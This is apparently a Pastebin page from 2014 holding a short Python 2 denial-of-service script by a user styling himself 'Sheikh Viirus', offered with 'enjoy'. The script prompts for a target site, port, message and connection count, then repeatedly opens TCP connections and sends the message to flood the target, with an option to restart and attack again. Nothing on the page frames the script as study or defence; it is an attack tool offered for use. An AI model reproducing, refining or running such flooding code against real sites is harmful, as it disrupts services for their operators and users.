iViiRuS

Python DoS script

Jun 4th, 2014
1,009
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Python Script DoS - Sheikh Viirus
  2. enjoy :
  3.  
  4. import time
  5. import socket
  6. import os
  7. import sys
  8. import string
  9.  
  10. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  11.  
  12. def restart_program():
  13.     python = sys.executable
  14.     os.execl(python, python, * sys.argv)
  15. curdir = os.getcwd()
  16.  
  17. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  18.  
  19. print ("DoS mode loaded")
  20. host=raw_input( "Site you want to DoS:" )
  21. port=input( "Port you want to attack:" )
  22. message=raw_input( "Input the message you want to send:" )
  23. conn=input( "How many connections you want to make:" )
  24. ip = socket.gethostbyname( host )
  25. print ("[" + ip + "]")
  26. print ( "[Ip is locked]" )
  27. print ( "[Attacking " + host + "]" )
  28. print ("+----------------------------+")
  29. def dos():
  30.     #pid = os.fork()
  31.     ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  32.     try:
  33.         ddos.connect((host, 80))
  34.         ddos.send( message )
  35.         ddos.sendto( message, (ip, port) )
  36.         ddos.send( message );
  37.     except socket.error, msg:
  38.         print("|[Connection Failed]         |")
  39.     print ( "|[DoS Attack Engaged]       |")
  40.     ddos.close()
  41. for i in range(1, conn):
  42.     dos()
  43. print ("+----------------------------+")
  44. print("The connections you requested had finished")
  45. if __name__ == "__main__":
  46.     answer = raw_input("Do you want to dos more?")
  47.     if answer.strip() in "y Y yes Yes YES".split():
  48.         restart_program()
  49.     else:
  50.         os.system(curdir+"\Deq\main.py")
RAW Paste Data